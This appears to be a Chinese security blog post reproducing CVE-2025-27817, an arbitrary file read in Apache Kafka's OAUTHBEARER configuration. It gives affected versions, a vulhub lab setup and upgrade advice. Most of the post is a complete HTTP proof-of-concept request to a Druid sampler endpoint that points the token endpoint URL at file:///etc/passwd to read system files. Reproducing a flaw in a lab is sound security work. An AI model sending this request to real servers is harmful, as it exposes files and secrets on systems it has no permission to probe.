【漏洞复现】Kafka Connect任意文件读取漏洞(CVE-2025-27817)
【漏洞复现】Kafka Connect任意文件读取漏洞(CVE-2025-27817)
PokerSec PokerSec 2025-06-12 02:43
先关注,不迷路.
免责声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
漏洞介绍
Apache Kafka 是一个开源分布式事件流平台,被数千家公司用于高性能数据管道、流分析、数据集成和任务关键型应用程序。Apache Kafka 客户端接受用于设置与代理的 SASL/OAUTHBEARER 连接的配置数据,包括“sasl.oauthbearer.token.endpoint.url”和“sasl.oauthbearer.jwks.endpoint.url”。Apache Kafka 允许客户端读取任意文件并返回错误日志中的内容,或将请求发送到意外位置。在 Apache Kafka 客户端配置可由不受信任的一方指定的应用程序中,攻击者可能会使用“sasl.oauthbearer.token.endpoint.url”和“sasl.oauthbearer.jwks.endpoint.url”配置来读取磁盘和环境变量的任意内容或向意外位置发出请求。
影响范围
3.1.0 ≤ Apache Kafka < 3.9.1
漏洞复现
环境搭建,使用vulhub的之前漏洞环境
https://github.com/vulhub/vulhub/blob/master/kafka/CVE-2023-25194
poc测试
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 192.168.168.130:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 1752
{
"type":"kafka",
"spec":{
"type":"kafka",
"ioConfig":{
"type":"kafka",
"consumerProperties":{"bootstrap.servers": "127.0.0.1:6666","sasl.mechanism": "OAUTHBEARER","security.protocol": "SASL_SSL","sasl.login.callback.handler.class": "org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler","sasl.oauthbearer.token.endpoint.url":"file:///etc/passwd","sasl.jaas.config": "org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required sasl.oauthbearer.token.endpoint.url=\"http://127.0.0.1/token\" sasl.oauthbearer.jwks.endpoint.url=\"http://127.0.0.1/jwks\" sasl.oauthbearer.client.id=your-client-id sasl.oauthbearer.client.secret=your-client-secret sasl.oauthbearer.expected.audience=kafka sasl.oauthbearer.expected.issuer=\"http://127.0.0.1\" useFirstPass=true serviceName=kafka debug=true;"},
"topic":"test",
"useEarliestOffset":true,
"inputFormat":{
"type":"regex",
"pattern":"([\\s\\S]*)",
"listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
"columns":[
"raw"
]
}
},
"dataSchema":{
"dataSource":"sample",
"timestampSpec":{
"column":"!!!_no_such_column_!!!",
"missingValue":"1970-01-01T00:00:00Z"
},
"dimensionsSpec":{
},
"granularitySpec":{
"rollup":false
}
},
"tuningConfig":{
"type":"kafka"
}
},
"samplerConfig":{
"numRows":500,
"timeoutMs":15000
}
}
修复意见
官方已发布最新版本修复该漏洞,建议受影响用户将Apache Kafka更新到3.9.1及以上版本。
下载链接:
https://github.com/apache/kafka/tags
如有侵权,请及时联系删除。